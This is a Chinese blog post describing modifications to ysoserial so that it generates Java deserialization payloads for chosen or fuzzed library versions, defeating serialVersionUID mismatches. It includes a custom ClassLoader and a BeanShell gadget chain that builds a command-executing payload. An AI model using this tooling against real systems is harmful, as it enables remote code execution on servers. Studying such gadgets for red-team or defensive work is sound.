0x00 前言
在这次护网时就已产生了魔改ysoserial的想法, 原因是其本身自携带了许多的反序列化Gadgget,并且frohoff也在内部适配了许多的Util,让后续添加Gadget更加的方便,同时其模式为exploit-payloads,如果对ysoserial内部做改动就不需要将其作为lib加入其他项目中,也比较方便。
0x01 serialVersionUID 之痛
在护网期间,遇到过多个存在反序列化的目标却没能成功打下来的站,原因也不知道到底是没有合适的gadget还是SUID在作祟。
什么是serialVersionUID(后文简称SUID)?Java对每一个对象在序列化时都有一个固定的标识,可由开发手动定义,通常情况下用于保证序列化的一端与反序列化的一端的对象代码版本相同。
以ysoserial的hibernate1为例,其默认搭配在ysoserial的版本为4.3.11.Final,如果此时存在反序列化漏洞的网站所使用的版本为hibernate-core 4.2.11.Final,这个时候用默认的ysoserial的配置是没办法攻击成功的。
参考:
为了减少这种不确定因素,我选择修改ysoserial,让其能够支持生成特定依赖版本的payload以及同时生成多个依赖版本的payload。
0x02 开发
在有了这个想法之后,我去网上查找了一些资料,发现网上对这类资料还是十分缺失的,目前只有两篇相关的文章被我找到:
- http://www.yulegeyu.com/2019/04/01/Generate-all-unserialize-payload-via-serialVersionUID/
- https://mp.weixin.qq.com/s/WDmj4-2lB-hlf_Fm_wDiOg
其中第一篇文章选择通过python批量执行命令并控制classPath的方式来达到生成不同依赖版本payload的修改,过于繁琐。
而第二篇文章所述的ClassLoader,思路是好的,但方法不正确,我尝试使用它的方式在本地生成payload,类可以找到,但是并不是自定义Jar里的,而是Maven导进来的类,也就没有办法达到”使用不同版本Jar包生成一组payload”的效果了。
网上简单调研了之后,我发现这个问题其实就是各大框架中已经实现的”热重载”问题的幼儿园版,我们可通过自定义ClassLoader结合defineClass的方式加载类。下面记录我的开发过程以及思路。
2.0 获取dependencies信息
ysoserial的所有payload类均继承于ObjectPayload这个基类,其自带几个注解,这里我要用到的是Dependencies
这个注解。
以C3P0为例:
@Dependencies({"com.mchange:c3p0:0.9.5.2"})
这个注解是一个String数组,其每一个元素代表了一个dependency的信息并由冒号分割,格式如下:
groupId-artifactId-version
而开发者可以通过如下方式获取一个Payload Class对应的dependency信息:
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
String[] dependencies = Dependencies.Utils.getDependencies(payloadClass);
通过上面得到的三个信息,我们可以快速的定位到Jar,Maven的官方仓库太慢了,我使用的是阿里云的仓库,搜索也十分方便,以刚刚的C3P0为例:
默认情况下会出来许多Jar,通常情况下会选择中央仓库的,但有的Jar不是在中央仓库发布的,因此这里最好不要设置仓库的限制,否则后续可能出现找不到Jar的情况。
接着随便点击一个文件名,就可以找到下载地址:
2.1 specify模式
这里的”specify”模式,对我而言就是特定模式,即让使用者手动指定依赖版本,并通过特定依赖版本生成payload的模式。
既然要让使用者手动指定依赖版本,首先它总得知道自己要用什么依赖吧?通过上面的记录,相信你已经知道如何在代码中获取一个Payload Class对应的依赖信息了。这里我选择将其打印出来,通过Scanner获取输入值:
public static Map<String, Map> getChooseDependenciesInfo(String payloadType) throws Exception {
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
String[] dependencies = Dependencies.Utils.getDependencies(payloadClass);
Map<String, Map> dependenciesInfo = new HashMap<String, Map>();
for (String dependency : dependencies) {
String groupId = dependency.split(":")[0];
String artifactId = dependency.split(":")[1];
System.out.printf("groupId:%s,artifactId:%s,version:", groupId, artifactId);
String version = new Scanner(System.in).next();
if (!MyClassLoader.isJarExist(groupId, artifactId, version)) {
System.out.print("* Jar不存在,是否需要尝试下载?(yes/no):");
String downloadFlag = new Scanner(System.in).next();
if (downloadFlag.equals("yes")) {
boolean downloadResult = MyClassLoader.downloadJar(groupId, artifactId, version);
if (!downloadResult) {
System.out.println("* Jar download failed");
System.exit(-1);
}
} else {
System.exit(-1);
}
}
代码很简单,就是获取Payload Class对应的依赖,并以友好的方式展示给使用者,让其输入本次生成的payload需要使用什么版本的依赖。
接着我会通过输入的信息,判断本地缓存是否存在这个Jar,如果不存在则继续询问是否需要下载(通过上面的方式可以根据用户输入寻找到唯一的Jar),并将其放置到缓存目录。
使用效果大概类似于这样:
$ java -jar ysoserial.jar AspectJWeaver "ahi.txt;aGVsbG8=" specify
2.2 fuzzing模式
所谓fuzzing模式,就是让程序自己去寻找所有可用的Jar版本,由于一个PayloadClass在生成payload时可能还需要使用多个依赖,因此还需要进行排列组合。
现在先解决第一个问题,我如何让程序去寻找所有可用的Jar?我在ysoserial内置了一个update参数,当使用者通过如下命令调用ysoserial时,会自动的触发update机制:
$ java -jar ysoserial.jar update
update会做什么?我会首先获取所有的PayloadClass:
final List<Class<? extends ObjectPayload>> payloadClasses =
new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
随后遍历每一个Class并获取它们的dependency信息:
for (Class payloadClass : payloadClasses) {
String[] dependencies = Dependencies.Utils.getDependencies(payloadClass);
接着遍历dependencies,从中提取出groupId以及artifactId,通过前面所说的方法去阿里云仓库中拉取Jar到本地(一个版本只拉一次,默认拉中央仓库的Jar,当中央仓库的Jar不存在时随机选取一个拉到本地)进行缓存。
最终的缓存目录是像下面这样的:
➜ cacheJars git:(master) ✗ tree -d
.
├── aopalliance
├── com
│ ├── mchange
│ └── vaadin
├── commons-beanutils
├── commons-collections
├── commons-fileupload
├── commons-io
├── commons-lang
├── commons-logging
├── javassist
├── javax
│ ├── enterprise
│ ├── interceptor
│ └── servlet
├── net
│ └── sf
│ ├── ezmorph
│ └── json-lib
├── org
│ ├── apache
│ │ ├── click
│ │ ├── commons
│ │ └── wicket
│ ├── aspectj
│ ├── beanshell
│ ├── clojure
│ ├── codehaus
│ │ └── groovy
│ ├── hibernate
│ ├── jboss
│ │ ├── interceptor
│ │ └── weld
│ ├── python
│ ├── slf4j
│ └── springframework
├── rhino
└── rome
前面是groupId,最后会以artifactId-version的方式作为Jar的文件名:
这里还需要加一个判断,因为不可能每次调用update都全量拉取,在拉Jar之前得判断这个Jar是否已经缓存过,如果是则不再拉取,每次只拉取新增的Jar。
第一个问题,也就是fuzzing Jar的来源问题已经解决了,接着需要解决第二个问题,排列组合,我把这个问题简化成:在未知数组个数的情况下对数组进行排列组合。
说实话,如果用的是Python或是Node,这个问题我认为能够很快速并且很轻松的解决,但是在Java中…
我不得不承认,最近才开始使用Java开发,所以我的开发功底十分之烂,但是,我认为如果要解决这个问题,用Python还是更快一些。
使用这个方法,最终得到的就是各个依赖排列组合后的结果,比如一个Payload需要如下两个依赖:
- commons-collections
- c3p0
而我本地存在有如下几个版本:
- commons-collections 3.2.1
- commons-collections 3.1.1
- c3p0 0.9.5.2
- c3p0 0.9.5.1
那么最终排列组合的结果就是:
- commons-collections 3.2.1-c3p0 0.9.5.2
- commons-collections 3.2.1-c3p0 0.9.5.1
- commons-collections 3.1.1-c3p0 0.9.5.2
- commons-collections 3.1.1-c3p0 0.9.5.1
最后通过组合出来的依赖版本去生成payload,最终实现的结果基本如下图所示:
$ java -jar ysoserial.jar AspectJWeaver "ahi.txt;aGVsbG8=" fuzzing
在这里还需要解决一个小问题,ysoserial中有的gadget是搭配TemplateImpl使用的,而默认的createTemplatesImpl方法是利用javassist去自定义一个类,使用的名称是随机的:
clazz.setName("ysoserial.Pwner" + System.nanoTime());
由于我后续输出的payload必然不可能输出suid一致的payload,那我怎么判断两个payload所生成的suid一致呢?我用的是最蠢的也是最好用的办法,也就是判断所生成的payload是否一致。
既然要判断所生成的payload是否一致,就必须得排除这里的随机性,所以我把实验TemplateImpl生成的类名改成固定的:
String className = "ysoserial.Pwnertesting";
clazz.setName(className);
接着需要解决第二个问题,就是在运行过程中,不能由一个ClassLoader加载两个同名的类,由于这里用的是javassist,因此我可以直接去ClassPool中查询类名,如果生成过就不再生成了,直接取出来并返回即可:
try{
final CtClass generateClass = pool.get(className);
final byte[] classBytes = generateClass.toBytecode();
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}catch (Exception ignored){}
2.3 ClassLoader
如果想要实现SUID的Fuzzing或是在运行时加载指定Jar的类,就必然需要在运行时加载两个全限定类名一样的类到JVM中。
为什么说第二篇文章思路是对的,但是代码是错误的呢?下图为网上找的一张Java类加载流程:
Java加载类采用的是双亲委派机制,即自定义类加载器在尝试加载一个类时,会首先判断自己是否已经缓存过此类,如果缓存过就返回,否则则将请求向上委托交给父类加载器,直到委托至引导类加载器。
此时如果还没有找到缓存过的类,则会从此处开始向下进行加载,即从引导类加载器开始尝试加载类,加载失败则由子类加载器进行加载。
因此如果使用微信中的那篇文章,实际上加载的类并不是由自定义类加载器加载到的,除非你的项目中不存在那个类对应的依赖。
因此我需要在继承ClassLoader时,在构造函数中将父类加载器设置为null,同时接受jarPaths和prefixes两个参数:
public class MyClassLoader extends ClassLoader {
private List<String> jarPaths;
private List<String> prefixes;
private Map<String, Class> loadedClasses = new HashMap<>();
public final static String cachePath = System.getProperty("user.dir") + "/cacheJars";
public MyClassLoader() {
super(null);
}
public MyClassLoader(List jarPaths, List prefixes) {
super(null);
this.jarPaths = jarPaths;
this.prefixes = prefixes;
}
}
接着重写findClass方法实现自定义类加载的流程,通过读取Jar中的类,转换为byte[]
并通过defineClass加载类:
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
if (name.equals("org.springframework.beans.factory.ObjectFactory") || name.equals("org.springframework.core.SerializableTypeWrapper$TypeProvider") || name.equals("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider")) {
return Class.forName(name);
}
String filename = name.replace(".", "/") + ".class";
if (this.loadedClasses.containsKey("name")) {
return this.loadedClasses.get(name);
}
boolean iscontain = false;
for (String prefix : this.prefixes) {
if (name.startsWith(prefix)) {
iscontain = true;
}
}
if (!iscontain) {
return Thread.currentThread().getContextClassLoader().loadClass(name);
}
for (String jarPath : jarPaths) {
try {
String fullPath = "jar:file:" + jarPath + "!/" + filename;
URL u = new URL(fullPath);
URLConnection urlConnection = u.openConnection();
InputStream is = urlConnection.getInputStream();
byte[] classBytes = readInputStream(is);
Class clazz = defineClass(name, classBytes, 0, classBytes.length);
this.loadedClasses.put(name, clazz);
return clazz;
} catch (Exception e) {
continue;
}
}
return Thread.currentThread().getContextClassLoader().loadClass(name);
}
private static byte[] readInputStream(InputStream is) throws IOException {
ByteArrayOutputStream outStream = new ByteArrayOutputStream();
byte[] buffer = new byte[1024 * 10];
int len = -1;
while ((len = is.read(buffer)) != -1) {
outStream.write(buffer, 0, len);
}
outStream.close();
is.close();
return outStream.toByteArray();
}
在这里我只会加载以prefixes中的prefix为前缀的类名,其他一律不交给当前线程的加载器加载。然后这里简单实现了一个缓存机制,即加载过一个类就把类放置到一个Map中,里面是name to Class,这样可以避免重复加载类。
定义了类加载器,我们需要用它吧?下面介绍如何修改ysoserial的payload以适配此类加载器。
2.4 修改Payload Class
以BeanShell1为例,默认其不存在任何构造方法,我为其编写了两个构造方法:
@Dependencies({"org.beanshell:bsh:2.0b5"})
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
private static Class InterpreterClass;
private static Class XThisClass;
private static Class NameSpaceClass;
public BeanShell1() {
InterpreterClass = bsh.Interpreter.class;
XThisClass = bsh.XThis.class;
NameSpaceClass = bsh.NameSpace.class;
}
public BeanShell1(Map dependenciesInfo) throws Exception {
String beanShellJarPath = (String) ((Map) dependenciesInfo.get("bsh")).get("fullPath");
List<String> jarPaths = new ArrayList<>();
jarPaths.add(beanShellJarPath);
List<String> prefixes = new ArrayList<>();
prefixes.add("bsh.");
ClassLoader myClassLoader = new MyClassLoader(jarPaths, prefixes);
InterpreterClass = myClassLoader.loadClass("bsh.Interpreter");
XThisClass = myClassLoader.loadClass("bsh.XThis");
NameSpaceClass = myClassLoader.loadClass("bsh.NameSpace");
}
}
这里其实就是将此类中所有需要用到的依赖中的类,全部给整成静态变量,并且把生成payload的部分,与依赖类有关的,全部换成反射:
public PriorityQueue getObject(String command) throws Exception {
// BeanShell payload
String payload =
"compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
Strings.join( // does not support spaces in quotes
Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"").split(" ")),
",", "\"", "\"") +
"}).start();return new Integer(1);}";
// Create Interpreter
Object i = InterpreterClass.newInstance();
// Evaluate payload
Method evalMethod = Reflections.getMethod(InterpreterClass, "eval", new Class[]{String.class});
evalMethod.invoke(i, payload);
// Create InvocationHandler
Object xt = Reflections.createWithConstructor(XThisClass, new Class[]{NameSpaceClass, InterpreterClass}, new Object[]{Reflections.getMethod(InterpreterClass, "getNameSpace", new Class[]{}).invoke(i), i});
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[]{1, 1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}
接着简单加几个生成payload的方法:
public static Object makePayloadObject(String payloadType, String payloadArg, Map dependenciesInfo) throws Exception {
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
final ObjectPayload objectPayload = (ObjectPayload) ysoserial.payloads.util.Reflections.createWithConstructor(payloadClass, new Class[]{Map.class}, new Object[]{dependenciesInfo});
return objectPayload.getObject(payloadArg);
}
public static Map<String, Map> makeAllPayloadObject(String payloadType, String payloadArg) {
List<Map> allDependenciesInfo = ObjectPayload.Utils.getAllDependenciesInfo(payloadType);
List<String> allSerializeData = new ArrayList<>();
Map<String, Map> serializeDataToMap = new HashMap<>();
for (Map m : allDependenciesInfo) {
try {
Object o = ObjectPayload.Utils.makePayloadObject(payloadType, payloadArg, m);
byte[] serializeData = Serializer.serialize(o);
String base64Data = new sun.misc.BASE64Encoder().encode(serializeData).replace("\n", "") + "\n\n";
if (!allSerializeData.contains(base64Data)) {
allSerializeData.add(base64Data);
serializeDataToMap.put(base64Data, m);
}
} catch (Exception ignored) {
}
}
return serializeDataToMap;
}
在GeneratePayload中添加多一个参数就行了:
上面两个方法我是放在ObjectPayload这个类中的,因为这样不仅Payload模块可以调用,我在Exploit模块中同样也可以调用这些方法以生成一组或某个特定的payload。
0x03 写在最后
在搞安全的路上免不了各类开发,ysoserial本身存在许多不完美的部分,比如生成TemplatesImpl时只能生成命令而不允许让开发者传入一串代码去生成类。
这些部分要改起来也都很简单,但要求你对ysoserial本身的结构有一定的了解,我始终相信ysoserial如果用好了会是一个护网大神器,在适配各类payload时简直不要太方便,希望本文能够带给你帮助。
发表评论
您还未登录,请先登录。
登录